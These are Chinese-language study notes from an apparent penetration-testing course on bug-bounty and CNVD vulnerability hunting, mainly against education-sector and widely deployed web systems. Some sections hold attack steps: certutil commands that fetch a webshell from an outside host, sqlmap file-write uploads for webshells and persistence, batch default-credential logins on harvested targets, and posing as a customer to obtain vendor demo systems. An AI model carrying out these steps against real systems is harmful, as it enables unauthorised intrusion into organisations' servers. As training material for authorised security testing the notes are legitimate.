【小迪安全】web安全|渗透测试|网络安全|SRC挖掘|学习笔记|2021|

第86天:SRC挖掘-教育行业平台&规则&批量自动化_笔记

视频链接

【【小迪安全】web安全|渗透测试|网络安全(6个月线上培训全套)】 https://www.bilibili.com/video/BV1JZ4y1c7ro/?p=85\&share_source=copy_web\&vd_source=da4f0ca49865d56af030181e2a971151

一、教育行业平台规则和批量自动化00:22

1. 信息收集

  • 主流平台:教育漏洞平台、CNVD漏洞平台、漏洞盒子/补天平台是当前主流的三大漏洞提交平台
  • 平台特性:
    • 教育平台主要针对学校系统(如大学、学院)
    • CNVD注重国家级漏洞证书
    • 漏洞盒子/补天提供现金奖励和厂商项目

2. 教育行业平台规则01:44

  • 无害化原则:
    • 机密性:验证漏洞时不获取/留存用户数据
    • 可用性:禁止导致系统瘫痪的大流量扫描
    • 完整性:验证时不执行增删改操作
  • 评分标准:
    • 严重(9-10分):如远程代码执行
    • 高危(7-9分):如SQL注入
    • 中危(4-7分):如越权访问
    • 低危(0-4分):如信息泄露

3. 批量自动化06:17

1)批量提交IP或域名
  • 工作流程:
    • 目标爬取(教育行业域名特征)
    • 服务识别(筛选WEB服务)
    • 批量检测(常规扫描+定点检测)
    • 结果提交
2)应用案例07:35
  • 例题:Windows命令执行漏洞
    • 开发要点:
      • 参考TimelineSec团队的漏洞复现文档
      • 使用Python请求库实现POC验证
      • 注意无害化验证原则
  • 例题:SQL注入漏洞08:18
    • 批量技巧:
      • 使用xray等工具自动扫描
      • 对.edu.cn域名进行特征识别
      • 验证时仅获取数据库版本信息
  • 例题:反序列化漏洞08:44
    • 检测方法:
      • 针对Shiro、Fastjson等常见组件
      • 使用公开的检测脚本
      • 注意不同版本的利用差异
3)定点检测11:18
  • 例题:漏洞报告平台规则11:43
    • 常规安全15:04
      • 目标特征:
        • 使用.edu.cn域名后缀
        • 全国约2000+教育机构目标
        • 可通过平台公开榜单获取目标列表
      • 全国高校漏洞15:33
        • 数据价值:
          • 上海交通大学漏洞最多(1497个)
          • 清华大学次之(421个)
          • 可作为重点检测目标参考
      • 爬虫开发16:04
        • 实现要点:
          • 使用requests+etree解析HTML
          • 分页处理(1-193页)
          • 结果保存为edu_name.txt
    • 利用FOFA搜索16:46
      • 搜索技巧:
        • 关键词:edu.cn+country="CN"
        • 约8万+结果
        • 使用API批量获取IP/域名
    • 登录后搜索17:24
      • 注意事项:
        • 需要有效的FOFA账号
        • 设置合理的请求间隔
        • 使用代理防止封禁
    • 应用案例19:03
      • 例题:漏洞文件下载
        • 报告技巧:
          • 包含3-5张验证截图
          • 详细描述漏洞影响
          • 注明验证过程符合无害化原则

4. 单独域名扫描19:54

  • 工具选择:
    • 常规扫描:Xray+AWVS组合
    • 定点检测:自定义Python脚本
    • 结果验证:手工复现关键漏洞

二、漏洞扫描与利用20:06

1. Nmap扫描结果分析

  • 开放端口:
    • 80/tcp: Apache httpd 2.4.46 (Win32)
    • 3389/tcp: Microsoft Terminal Services
    • 808/tcp: HTTP控制面板
  • 操作系统猜测:
    • 可能为Windows Server 2008 R2 SP1 (99%置信度)
    • 其他可能版本包括Windows 7 SP1、Windows Server 2008等
  • 扫描耗时: 98.70秒扫描1个活跃主机

2. 漏洞选择策略

  • 选取标准:
    • 存在面广: 选择影响范围大的漏洞,如JumpServer RCE
    • 时效性: 优先选择最新披露的漏洞(如2021-01-15披露的JumpServer漏洞)
    • 验证可用: 必须确认存在公开的PoC(概念验证代码)
  • 典型漏洞示例:
    • JumpServer远程命令执行(SSV-99093)
    • Apache Flink目录遍历(CVE-2020-17518/17519)
    • WordPress文件管理器RCE(CVE-2020-25213)

3. 漏洞利用实战要点

  • PoC验证:
    • 直接在有PoC标记的漏洞页面获取利用代码
    • 示例:JumpServer漏洞(888人气值)提供现成利用方案
  • 环境适配:
    • 注意漏洞适用的具体版本和环境配置
    • 对于Windows系统漏洞需特别关注补丁情况

4. 漏洞平台使用技巧

  • 高效检索:
    • 使用"has_poc=true"筛选条件快速定位可验证漏洞
    • 按时间排序查看最新漏洞(如2021-01-19更新的锐网络EWEB漏洞)
  • 信息验证:
    • 交叉参考漏洞人气值(如3547)和评论数量判断可靠性
    • 优先选择企业白帽子提交的漏洞报告(如补天平台收录)

三、漏洞信息收集20:49

1. 公开漏洞

  • 漏洞特征:公开漏洞中部分漏洞没有POC(概念验证代码),需要筛选有POC的漏洞进行测试
  • 筛选方法:在Seebug平台可通过"有POC"筛选条件快速定位可利用漏洞

2. 有POC的漏洞21:01

  • 验证流程:
    • 点击漏洞详情查看POC代码
    • 通常为Python验证脚本
    • 可根据开发知识将POC改造成批量检测工具
  • 实例:JumpServer远程命令执行漏洞(SSV-99103)提供完整Python验证脚本

3. 信息筛选21:23

1)例题:校园网站漏洞
  • 筛选技巧:
    • 使用edu.cn限定教育行业目标
    • 结合jumpserver等组件关键词
    • 示例语法:domain="edu.cn" && jumpserver
2)例题:jumpserver最新RCE复现22:06
  • 资源获取:
    • 通过搜索引擎查找最新漏洞复现文章
    • 参考他人已公开的测试环境搭建方法
    • 注意文章发布时间确保信息时效性
3)例题:漏洞测试过程22:33
  • 批量检测:
    • 使用xray等工具进行自动化扫描
    • 配置代理防止IP被封禁
    • 示例命中CNVD漏洞(教育行业常见漏洞)

4. 信息筛选结果22:51

  • 目标选择:
    • 参考漏洞平台高校排名
    • 重点关注漏洞威胁值高的单位
    • 南开大学、广东省教育厅等常居前列

5. 常规安全23:16

  • 检测范围:
    • AWVS常规扫描
    • Shiro反序列化
    • Fastjson反序列化
    • ThinkPHP代码执行

6. 教育行业漏洞报告平台23:31

  • 漏洞类型分布:
    • 代码执行(高危)
    • 垂直越权(中危)
    • 弱口令(中危)
    • 信息泄露(低危)

7. 默认口令23:56

  • 资源使用:
    • DefaultCreds-cheat-sheet项目
    • 包含3000+系统默认凭证
    • 格式为CSV方便批量测试
  • 测试重点:
    • Weblogic(常用中间件)
    • Tomcat管理后台
    • 路由器设备

8. 应用案例24:49

1)例题:网站漏洞信息
  • 企业SRC特点:
    • 目标明确(单个企业)
    • 奖金较高(最高¥6000)
    • 需人工深度测试
2)例题:xray命令行25:51
  • 配置要点:
    • 设置合理并发数
    • 添加代理配置
    • 使用-html-output生成报告

9. 思路总结26:27

  • 批量挖掘流程:
    • FOFA收集目标(50万+域名)
    • xray批量扫描(万分之一命中率)
    • 人工验证漏洞真实性
    • 提交漏洞平台

10. 补天网情况27:52

  • 项目特点:
    • 专属SRC(长期有效)
    • 企业定制化需求
    • 需关注最新项目公告

11. CNCVD情况28:31

  • 证书获取:
    • 需提交原创高危漏洞
    • 关注年度工作会议动态
    • 研究热点漏洞公告

四、结束30:13

五、知识小结

知识点 核心内容 考试重点/易混淆点 难度系数
漏洞平台分类 介绍教育行业漏洞平台(如教育漏洞报告平台、CNVD、补天、漏洞盒子)的特点及适用场景 补天/漏洞盒子以现金奖励为主,教育平台/CNVD更注重证书和排名 ⭐⭐
批量漏洞挖掘思路 1. 信息收集:爬取目标域名(如.edu.cn) 2. 常规扫描:使用工具(Xray、AWVS)批量检测 3. 定向检测:基于最新漏洞POC开发批量脚本 经典检测需结合漏洞复现文章开发脚本,常规扫描工具命中率较低 ⭐⭐⭐⭐
法律法规与提交规范 1. 仅验证漏洞存在性,避免数据泄露 2. 漏洞描述需详细(图文结合) 3. 同一漏洞不可重复提交多个平台 漏洞评分受文字表达能力影响(如将中危漏洞描述为高危可能提升评级) ⭐⭐
实战工具与资源 1. 爬虫脚本:爬取教育平台历史漏洞目标/FoFa搜索.edu.cn 2. 漏洞复现库:参考2020年漏洞复现项目开发检测脚本 3. 默认口令库:3000+常见平台弱口令CSV文件 FoFa会员限制可通过绕过脚本解决,批量扫描需服务器支持 ⭐⭐⭐
平台差异化策略 1. 教育平台:范围广(所有教育行业目标) 2. 补天/漏洞盒子:针对厂商项目,范围小但奖励高 3. CNVD:需高影响力漏洞获取证书 教育平台适合批量自动化,厂商项目需人工深度测试 ⭐⭐⭐
漏洞案例示范 1. 江苏Server漏洞:通过FoFa筛选目标+批量POC检测 2. 弱口令漏洞:使用默认口令库批量测试 最新漏洞需优先检测(如Apache Log4j),老漏洞命中率低 ⭐⭐⭐⭐

【【小迪安全】web安全|渗透测试|网络安全(6个月线上培训全套)】 https://www.bilibili.com/video/BV1JZ4y1c7ro/?p=86\&share_source=copy_web\&vd_source=da4f0ca49865d56af030181e2a971151

第87天:SRC挖掘-CNVD证书平台挖掘技巧修君分享_笔记

一、拿到系统源码00:01

1. 更深层次利用00:25

  • 获取方式:
    • 通过其他端口漏洞获取shell后下载源码
    • 通过社会工程学联系厂商获取demo环境
  • 配置文件检查:
    • 第一时间查找web.config文件
    • 检查数据库连接字符串等敏感配置
  • 利用方法:
    • 通过源码分析寻找其他漏洞
    • 查找可能存在的getshell漏洞
    • 分析历史版本漏洞
  • 文件上传技巧:
    • 使用SQLmap的-file-write功能上传文件
    • 示例:sqlmap -file-write C:\Users\test\Desktop\1.txt -file-dest D:\1.bat
    • 在os-shell中执行上传的bat文件
  • 扩展利用:
    • 可用于写入webshell
    • 可上传自动化脚本实现持久化控制

二、寻找单点登录通用系统01:16

1. 目标收集01:43

  • 定义:
    • 互联网上有100+IP部署的同一系统
  • 分类:
    • 开源系统:代码公开可获取
    • 闭源系统:厂商内部开发使用
    • 售卖系统:商业化的闭源系统
  • 测试特点:
    • 闭源系统只能进行黑盒测试
    • 单点登录系统测试点较少
  • 初始收集方法:
    • FOFA搜索语法示例:
  • 方法缺陷:
    • 搜索结果杂乱效率低
    • 重复漏洞可能性大
    • 包含大量非目标系统

2. 收集目标02:33

  • 改进方法:
    • 通过JavaScript库特征搜索
    • 示例搜索语法:
  • 优势:
    • 更精准定位单点登录系统
    • 减少无关系统干扰
    • 提高漏洞挖掘效率
  • 库特征收集方法:
    • 打开目标系统查看源代码
    • 识别使用的JavaScript库
    • 将库特征加入FOFA搜索语法
  • 实用技巧:
    • 关注jQuery等常见库的特定版本
    • 收集多个特征库扩大搜索范围
    • 结合国家地区限定提高精准度
  • 搜索结果:
    • 任我行CRM系统
    • 蓝海卓越计费管理系统
    • 其他各类单点登录系统
  • 验证方法:
    • 检查系统登录页面特征
    • 确认系统部署规模
    • 验证系统功能一致性

三、单点登录系统未授权漏洞挖掘05:03

  • 平台选择:主要针对.NET平台系统,Java开发的系统由于防护较强较难利用
  • 爆破策略:遇到登录框时优先使用Burp爆破弱口令(如admin/admin),通用系统常存在管理疏忽
  • 抓包技巧:需注意登录过程中的多数据包交互,验证成功后常通过AJAX发送后续数据包

1. 应用案例05:46

1)例题:通用系统弱口令登录
  • 漏洞特征:成功爆破后(如admin/admin),系统会通过JS执行AJAX发送数据刷新包
  • 高危位置:第二个数据包常存在未授权漏洞,曾多次发现SQL注入漏洞
  • 测试方法:使用单引号测试报错,确认存在数据库报错后实施延迟注入
  • 漏洞价值:此类前台漏洞在补天平台价值300元/个

2. 应用案例09:11

1)例题:弱口令之后审查元素发现js文件并利用
  • 信息收集:右键审查元素查看JS文件,寻找接口或注释中的暗链
  • 爆破技巧:当JS分析无果时,可爆破JS路径发现隐藏文件
  • 漏洞利用:在发现的JS文件中找到AJAX缓存接口(如.../Handler/UserCodeName.ashx)
  • 注入特征:ashx扩展名的接口90%存在未授权漏洞,可通过构造报错payload验证
  • 提权方法:利用注入点写文件拿shell,最终通过反编译dll进行白盒测试
  • 编码问题:中文路径需注意GBK编码转换,避免echo写shell时乱码
  • 解决方案:
    • 使用certutil.exe下载远程文件:certutil -urlcache -split -f http://xss.xiu09.cn/1.exe
    • 利用sqlmap自带上传功能(兼容性更好)
  • 完整流程:单个系统曾挖出20+前台漏洞,包括注入、getshell、信息泄露等

四、拿到源码后的利用13:47

1. 利用中文路径无法用echo写shell问题

  • 问题现象:在MSSQL数据库中使用echo写shell时,中文路径会因UTF8转GBK编码导致乱码,例如路径"E:\项目资料\E7HRBLL\Report\KaoQin\1.asp"无法正常写入
  • 根本原因:sqlmap默认将路径进行UTF8的hex编码后传入GBK编码的MSSQL数据库执行
  • 解决方案1:
    • certutil下载:使用certutil -urlcache -split -f http://xss.xiu09.cn/1.txt D:\1.asp直接下载shell文件
    • 适用场景:简单直接的下载方式,但兼容性可能存在问题
  • 解决方案2(推荐):
    • GBK编码准备:先在本地创建GBK编码的txt文件,内容为echo写马命令
    • sqlmap上传:执行sqlmap -file-write C:\Users\xiu\Desktop\1.txt -file-dest D:\1.bat
    • 自动执行:在os-shell中运行1.bat即可将shell写入目标路径
    • 优势:利用sqlmap自带上传功能,兼容性更好

2. 通过其他端口获取源码的利用方法

  • 发现途径:当主端口无法突破时,可通过FOFA搜索同一系统的其他开放端口
  • 利用方法1:
    • 漏洞利用:在其他端口寻找漏洞获取shell后下载源码
    • 典型案例:通过注入点写文件->获取shell->反编译dll进行白盒渗透
  • 利用方法2:
    • 社工技巧:伪装成潜在客户联系厂商获取demo环境
    • 操作要点:声称公司需要测试系统以决定是否购买,通常厂商会提供测试账号
    • 实际效果:获取完整系统环境后更容易发现漏洞

3. 源码分析技巧

  • 首要目标:立即查找web.config配置文件
    • 关键信息:数据库连接字符串、敏感配置参数等
  • 文件特征:重点关注.asmx结尾的文件
    • 文件作用:.asmx是ASP.NET Web服务文件,常包含业务逻辑接口
  • 渗透路径:通过配置文件泄露的凭证或接口漏洞进一步渗透
  • 后续利用:获取shell后可通过反编译技术深入分析系统漏洞

五、拿到源码后的操作流程

1. 配置文件web.config分析16:18

  • 首要检查项:获取源码后应立即检查web.config文件
  • 关键信息:
    • 数据库连接信息:包含数据库账号密码等敏感数据
    • 接口配置:大部分系统会将接口信息写入配置文件
    • 服务引用:常见如.asmx结尾的Web服务引用配置
  • 典型结构:

2. ASMX文件分析

  • 文件特征:
    • 扩展名:.asmx是.NET的Web服务文件扩展名
    • 通信方式:采用SOAP协议通过HTTP访问,XML格式返回数据
    • 数据类型:可返回基础类型和PUBLIC结构类型
  • 查找方法:
    • 通过web.config配置文件追踪
    • 直接在源码中搜索.asmx后缀文件
  • 安全风险:

3. ASHX文件反编译技术18:08

1)文件特征分析
  • 基本特性:
    • .ashx是ASPX的组件之一,属于.NET扩展名
    • 可理解为各种方法的集合(如上传、查询等)
    • 常见命名模式:Upload.ashx、StatQuery.ashx等
  • 安全关注点:
    • 上传接口如upload.ashx可能存在未限制的功能
    • 可通过文件名推测功能(如autoComplete可能关联自动补全)
2)反编译实战
  • 操作步骤:
    • 通过Class类定位对应DLL文件
    • 使用dnSpy工具进行反编译
    • 分析未被前端调用的隐藏方法
  • 典型发现:
    • 程序员可能编写30+方法但仅调用少数几个
    • 存在测试阶段遗留的未修复方法(如无后缀限制的上传)
  • 漏洞利用:
    • 任意文件删除:通过action=deleteBackground&name=文件路径调用
    • 未授权上传:找到未限制后缀的upload方法直接构造请求
3)方法调用技巧
  • 调用机制:
    • 通过action参数指定要调用的方法名
    • 示例:upload.ashx?action=deleteBackground
  • 参数构造:
    • 文件操作需附加路径参数:&name=D:/path/file.txt
    • 上传接口需要构造multipart表单数据
  • 开发模式分析:
    • 常见先编写多个测试方法(含漏洞)
    • 最终仅部署一个经过安全处理的方法(如限制jpg上传)

4. SOAP接口安全测试

  • 高危漏洞:
    • 注入漏洞:80%概率可通过sqlmap检测出SQL注入
    • 信息泄露:可能暴露敏感数据或系统结构
    • 未授权访问:部分方法可能缺少权限校验
  • 测试方法:
    • 直接使用sqlmap扫描SOAP端点
    • 使用AWVS等工具自动化检测
    • 手动分析WSDL文件定位敏感操作

5. 反编译工具使用

六、通用漏洞挖掘思路24:51

1. 通用漏洞挖掘思路25:23

  • 组合利用:将多个小漏洞组合利用可以发现更严重的安全问题
  • 目录遍历:通过目录遍历可以查找系统内部接口和配置文件
  • 爆破技巧:使用御剑等工具爆破js路径和文件名是常用手段

2. 单点登录系统的未授权漏洞挖掘25:55

  • 平台特点:大多数单点登录系统采用.NET或Java开发
  • 爆破策略:优先尝试admin/admin等弱口令组合
  • 抓包注意:登录成功后可能会有多个数据包用于刷新页面数据
  • SOAP测试:发现SOAP接口可直接用sqlmap测试注入,成功率约80%

3. 通过其他端口获取源码27:48

  • 端口扫描:通过FOFA搜索目标系统的其他开放端口
  • 社工技巧:伪装成潜在客户向厂商索要demo环境
  • 文件上传:利用sqlmap的-file-write参数上传文件
  • 源码分析:优先查找web.config等配置文件

4. 目录遍历与接口查找29:33

  • 查找方法:
    • 第一步:爆破js文件路径
    • 第二步:检查是否存在目录遍历漏洞
  • 接口发现:通过目录遍历查找SOAP接口和未公开的方法
  • 文件特征:重点关注.asmx和.ashx结尾的文件

5. WEB服务文件识别29:58

  • asmx文件:WEB服务文件,包含相关代码
  • 访问方式:使用SOAP协议通过HTTP访问,返回XML格式数据
  • 测试方法:发现SOAP接口可直接用sqlmap测试注入漏洞
  • 组件识别:ashx是aspx的组件之一,也是.NET的扩展名

6. 源码分析策略30:54

  • 优先检查:第一时间查找web.config配置文件
  • 反编译利用:将dll文件拖到dnspy反编译查找隐藏方法
  • 未使用接口:程序员可能只调用了部分方法,未使用的接口可能存在漏洞
  • 上传漏洞:通过反编译可能发现未做拦截的文件上传接口

七、知识小结

知识点 核心内容 考试重点/易混淆点 难度系数
通用系统漏洞挖掘 通过源码或闭源系统挖掘漏洞(如SQL注入、未授权访问) 闭源系统更易挖掘(厂商未修复公开漏洞) ⭐⭐⭐
单点登录系统收集方法 使用JavaScript库特征或简单语法(如玻璃技术支持)搜索目标系统 低效语法易混杂非目标系统(如悟空CRM) ⭐⭐
未授权漏洞利用 爆破默认口令(如admin/admin)或拦截登录后数据包(如Ajax接口注入) 补天平台仅收前台漏洞(需绕过登录验证) ⭐⭐⭐⭐
源码反编译技巧 通过.ashx/.asmx文件反编译(如dnSpy工具)挖掘隐藏接口(上传/删除功能) 中文路径需GBK编码处理(否则写入Shell失败) ⭐⭐⭐⭐
SOAP接口漏洞 直接扫描.asmx文件(常见SQL注入/上传漏洞)或通过web.config定位接口 90%未授权(可被AWVS自动化扫描) ⭐⭐⭐
JS目录爆破 爆破JS文件路径发现隐藏接口(如upload.ashx) 需自定义字典(通用字典效率低) ⭐⭐⭐
中文路径解决方案 通过GBK编码TXT文件上传或利用系统自带功能绕过限制 推荐map上传兼容性更好 ⭐⭐⭐⭐
厂商源码获取 伪装客户索要测试环境(内部系统漏洞率高)或通过其他端口渗透 需社会工程学配合 ⭐⭐⭐⭐

【【小迪安全】web安全|渗透测试|网络安全(6个月线上培训全套)】 https://www.bilibili.com/video/BV1JZ4y1c7ro/?p=87\&share_source=copy_web\&vd_source=da4f0ca49865d56af030181e2a971151

第88天:SRC挖掘-拿下CNVD证书开源&闭源&售卖系统_笔记

一、通用型漏洞06:38

1. 三类系统分类06:40

  • 开源系统:源码公开可下载,典型如GitHub上的CMS项目

  • 闭源系统:源码可能加密或无法获取,需通过

    FOFA\mathrm{FOFA}FOFA

    等引擎搜索

  • 售卖系统:需通过社工套路或购买获取源码

2. 安全测试方法07:54

1)测试策略差异
  • 源码获取情况:
    • 有源码:采用白盒测试,直接进行代码审计
    • 无源码:采用黑盒测试,包括JS接口分析等技术
  • 特殊技巧:
    • 通过JS文件寻找测试接口
    • 利用试用版系统进行突破
2)系统测试难度梯度
  • JAVA系统:难度最大,开发起点高
  • PHP/SPX系统:推荐新手选择,因为:
    • PHP代码清晰易读
    • 前期学习案例丰富
    • 项目数量相对较多

3. 实战技巧10:01

  • 快速入门建议:
    • 优先选择PHP项目练手
    • 从GitHub等源码站下载开源系统
    • 对闭源系统尝试获取源码,失败则转黑盒测试
  • 关键指标:
    • 目标系统需有100+IP部署量
    • CNVD证书要求系统具有广泛使用性

4. 核心知识点总结

  • 源码审计优势:能深度分析算法逻辑和安全机制
  • 黑盒测试要点:
    • 常规漏洞扫描
    • JS接口探测
    • 三方组件分析
  • 经济因素考量:部分售卖系统可能需要购买授权才能获取测试权限

5. 应用案例11:36

1)例题:开源逻辑审计配合引擎实现通用
  • 系统分类与测试方法
    • 开源系统:
      • 获取方式:从各大源码站下载代码
      • 测试方法:直接进行代码审计
      • 特点:代码可见,适合白盒测试
    • 闭源系统:
      • 获取方式:通过Fofa等搜索引擎尝试获取源码
      • 测试方法:源码审计或黑盒测试
      • 特点:代码不可见,需结合多种测试手段
    • 售卖系统:
      • 获取方式:通过社工手段获取源码或直接购买
      • 测试方法:源码审计或黑盒测试
      • 特点:获取成本较高,但测试效果较好
  • 测试技巧
    • 语言选择:
      • Java项目难度最大
      • Python项目较少
      • PHP和ASPX项目相对简单
      • 其中PHP代码清晰明了,适合初学者
    • 无源码测试:
      • 常规安全测试外
      • 可通过JS文件寻找测试接口
      • 重点关注JS中的API调用和参数传递
  • 案例演示:DM企业建站系统
    • 系统信息:
      • 名称:DM企业建站系统2021.0125版
      • 发布时间:2021年1月25日
      • 下载量:2万+
    • 安装过程:
      • 创建数据库
      • 导入SQL文件
      • 修改配置文件
      • 无管理员密码设置环节
    • 默认凭证:
      • 用户名:admin
      • 密码:admin123
  • 漏洞挖掘过程
    • 影响面验证:
      • 使用Fofa搜索后台特征
      • 发现178个匹配结果
      • 确认系统部署量超过100+
    • 逻辑漏洞:
      • 安装过程未强制修改默认密码
      • 管理员未主动修改密码导致安全隐患
      • 可通过默认凭证批量登录系统后台
    • 测试方法:
      • 使用Python脚本批量验证
      • 结合Fofa搜索结果进行自动化测试
      • 重点关注未修改默认密码的系统
  • 安装过程安全问题
    • 数据库配置:
      • 配置文件路径:component/dm-config/database.php
      • 可直接编辑该文件完成配置
      • 包含数据库服务器地址、名称、用户名和密码
    • 安全隐患:
      • 安装过程未提示修改管理员密码
      • 密码硬编码在导入的SQL文件中
      • 缺乏密码复杂度要求
  • 漏洞验证
    • 验证步骤:
      • 通过Fofa搜索特定后台路径
      • 获取目标系统列表
      • 尝试使用默认凭证登录
      • 记录成功登录的系统
    • 自动化工具:
      • 使用Python编写爬虫获取Fofa结果
      • 开发批量验证脚本
      • 结合多线程提高测试效率
  • 漏洞影响
    • 影响范围:
      • 中国167个系统
      • 日本2个系统
      • 美国2个系统
      • 越南1个系统
    • 风险等级:
      • 中高危漏洞
      • 可导致后台完全控制
      • 影响面广但修复简单
2)快速获取目标并测试22:44
  • FOFA搜索技巧
    • 关键词修改:将搜索关键词改为"admindm-yourname" && country="CN",可获取国内使用该系统的目标
    • 结果提取:通过脚本提取搜索结果并请求20页数据,保存到dmcms.txt文件中
    • 会员状态:需要保持会员登录状态才能获取完整结果,需携带有效cookie
  • 目标收集与保存
    • 文件保存:将收集到的目标IP保存到dmcms.txt文件中
    • 脚本功能:
      • 使用xpath解析页面获取结果
      • 每页结果用换行符连接
      • 追加写入文件避免覆盖
      • 添加异常处理防止中断
  • 批量登录测试
    • 测试原理:
      • 使用requests.post发送登录请求
      • 默认测试账号:admin/admin123
      • 通过返回内容判断是否登录成功
    • 结果判断:
      • 返回内容包含"sorry"表示失败
      • 否则标记为成功(ok)
    • 异常处理:
      • 捕获所有异常防止中断
      • 失败后延迟1秒继续测试
  • 关键词扩展技巧
    • JS文件搜索:
      • 通过body中包含特定JS文件搜索目标
      • 如"DM-static/assets/jquery.js"
      • 可获取更多结果(300+)
    • 搜索策略:
      • 不同关键词组合可获取不同结果集
      • 可结合百度等其他搜索引擎
      • 注意版本差异导致的漏洞不同
  • 漏洞验证思路
    • 验证方法:
      • 直接访问后台测试默认凭证
      • 查看返回内容判断漏洞存在性
      • 使用BurpSuite抓包分析
    • 注意事项:
      • 不同版本可能存在差异
      • 需验证是否为演示站点
      • 注意法律风险,点到为止
3)例题:逻辑测试漏洞挖掘33:36
  • 漏洞挖掘基本思路
    • 前期准备:使用前期学过的字典,将系统源码载入项目进行自动分析
    • 审计工具:通过工具自动审计分析源码,人工辅助进行漏洞验证
    • 核心原则:优先挖掘高危漏洞,关注漏洞产生条件
  • 漏洞挖掘技巧
    • 目录选择:
      • 避免后台目录:如admin目录下的漏洞通常需要后台权限,利用价值较低
      • 优先公共目录:选择非后台目录文件进行审计,如block目录等公共可访问区域
    • 漏洞类型优先级:
      • SQL注入:优先挖掘SQL注入漏洞,因其危害性大
      • 文件上传:次选文件上传漏洞,需关注过滤机制
    • 审计方法:
      • 变量追踪:对关键变量(如IP变量)进行完整调用链分析
      • 函数定位:对不熟悉的函数使用"定位函数"功能查看实现逻辑
      • 过滤分析:仔细分析过滤函数,判断是否影响目标漏洞类型
  • 实战案例分析
    • 漏洞发现过程:
      • 发现IP变量通过HTTP头部X-Forwarded-For获取
      • 追踪getIP()函数发现仅过滤XSS字符(如.../),未过滤SQL注入字符
      • IP变量直接拼接SQL语句执行,存在注入风险
    • 技术要点:
      • 注入点:HTTP头部X-Forwarded-For参数
      • 过滤缺陷:getIP()函数仅过滤.../等XSS字符,未过滤SQL元字符
      • 执行流程:IP变量→getIP()→SQL语句拼接→直接执行
    • 注意事项:
      • 不要随意提交未授权漏洞
      • 漏洞挖掘需遵守法律法规
      • 高危漏洞需谨慎验证
4)例题:逻辑测试漏洞分析41:00
  • 漏洞提交流程分析
    • 漏洞时效性验证:通过对比他人提交的漏洞时间(2020年4月8日)与当前时间(2021年),确认该漏洞仍可提交
    • 版本确认要点:需特别注意漏洞对应的软件版本号(2020年1月22日版本)
    • 证书获取条件:成功提交有效漏洞后即可获得CNVD证书
  • 代码审计关键点
    • 过滤函数分析:
      • 定位到getIP函数存在过滤机制
      • 仅过滤XSS语句,未过滤其他危险字符
    • 漏洞组合利用:建议将发现的多个漏洞点组合分析后提交
    • 语言组织技巧:提交时需要清晰描述漏洞原理和复现步骤
5)例题:没有源码时漏洞分析42:54
  • 开源程序测试方法
    • 测试思路:
      • 基于获取的源码进行白盒测试
      • 重点检查逻辑设计缺陷(如安装逻辑错误)
    • 影响评估:需注意漏洞影响范围,过大时需谨慎测试
    • 成功率估算:在10个潜在漏洞中成功挖掘1个即可满足证书要求
  • 无源码情况应对策略
    • 源码获取途径:
      • 参考2021年第五次课的表单源码线路方法
      • 尝试通过非常规手段获取程序源码
    • 反编译技术:
      • 适用于JAVA/.NET程序
      • 可通过编译后的class/jar文件进行逆向
    • 黑盒测试重点:
      • 功能逻辑测试
      • 输入验证测试
      • 会话管理测试
6)例题:没有源码时漏洞分析45:08
  • ASP.NET源码获取与分析
    • 源码获取渠道:可通过站长之家等平台下载ASP.NET开源系统源码,如HDHCMS等CMS系统
    • 典型系统架构:
      • 采用三层结构开发
      • 全静态页面有利于SEO优化
      • 后台管理功能强大
      • 支持主站网址更换
  • DLL文件反编译技术
    • 核心原理:
      • 部分源码被封装在DLL库文件中
      • 即使获取主源码,关键逻辑可能仍在DLL中
      • 需要将DLL文件导入反编译工具查看真实代码
    • 操作步骤:
      • 定位bin目录下的DLL文件
      • 使用反编译工具打开
      • 分析反编译后的代码逻辑
  • 反编译工具使用演示
    • 工具选择:
      • .NET平台推荐使用dnSpy等工具
      • Java平台可使用IDEA反编译jar包
    • 分析要点:
      • 查看类和方法定义
      • 跟踪关键业务逻辑
      • 寻找可能的漏洞点
  • 数据库中文路径问题解决方案
    • 常见问题:
      • MSSQL数据库中文路径导致echo写shell失败
      • 路径UTF8编码与数据库GBK编码冲突
    • 解决方案:
      • 使用certutil.exe下载文件
      • 示例命令:certutil -urlcache -split -f http://xss.xiu09.cn/1.txt D:/1.asp
      • 避免直接使用echo写入中文路径
  • 反编译代码分析技巧
    • 分析方法:
      • 通过反编译获取近似源代码
      • 重点关注敏感函数调用
      • 检查输入验证逻辑
      • 追踪数据库操作语句
    • 注意事项:
      • 反编译代码可能与原代码有差异
      • 需要结合动态调试验证分析结果
      • 注意混淆代码的特殊处理
  • 跨平台反编译思路
    • 技术共性:
      • .NET的DLL与Java的JAR/WAR包原理类似
      • 都需要专用工具进行反编译
    • 工具对比:
      • .NET:dnSpy、ILSpy
      • Java:JD-GUI、IDEA内置反编译器
      • Android:apktool、jadx

二、课程介绍49:13

三、分析漏洞49:27

1. 源码分析技术

  • 开发语言特征:JAVA开发系统常将核心部分封装到dll或jar文件中
  • 反编译工具:使用dnSpy等工具对编译文件进行反编译分析
  • 分析重点:重点关注未调用的接口方法,如示例中upload.ashx的30多个方法里,未拦截的文件上传/删除接口可能存在漏洞

2. 无源码测试方案

  • 三种测试场景:
    • 获取源码直接分析(最优情况)
    • 获取编译文件反编译分析(次优方案)
    • 完全无源码的JS接口测试(最后手段)
  • JS测试工具:推荐使用jsfiddle工具进行接口数据模拟提交测试

四、搜索网站系统51:03

1. 系统分类与测试方法

  • 系统分类:
    • 开源系统:源码站直接下载审计(如PHP、ASPX项目)
    • 闭源系统:通过Fofa等引擎搜索尝试获取源码
    • 商业系统:需通过社工或购买方式获取源码
  • 技术选型建议:
    • PHP代码最清晰易审计(推荐新手)
    • ASPX需反编译后审计
    • JAVA项目难度最大

2. 实战搜索技巧

  • 关键词组合:使用"源码+系统类型"进行搜索(如"网校系统源码")
  • 专业平台:
    • GitHub托管开源代码
    • 站长之家等专业源码站提供ASP/PHP/.NET源码
    • 真源码平台提供行业专项系统

3. FOFA高级搜索

  • 语法示例:
    • app="网校登录系统" 定位特定系统
    • icp="备案号" 筛选国内系统
    • body="jquery.js" 识别前端框架
  • 企业级功能:专业版支持图标识别、批量导出等高级功能

五、无源码下js接口的数据提交测试51:39

1. 测试案例53:21

  • 工具原理:基于爬虫技术,通过分析网页加载的JS资源文件来发现隐藏接口地址。当访问网站时,会加载相关JS文件,这些文件中可能包含与后端交互的接口地址。
  • 典型发现:可以找到常规扫描工具无法发现的接口地址,特别是带有参数的接口(如https://123.57.65.252/CourseManagement?from=MainLessonManagement)
  • 工具特点:
    • 能发现ThinkPHP等开发框架特征(如案例中发现的ThinkPHP V5.0.24)
    • 结果可能存在误报或不完整,需要手工验证
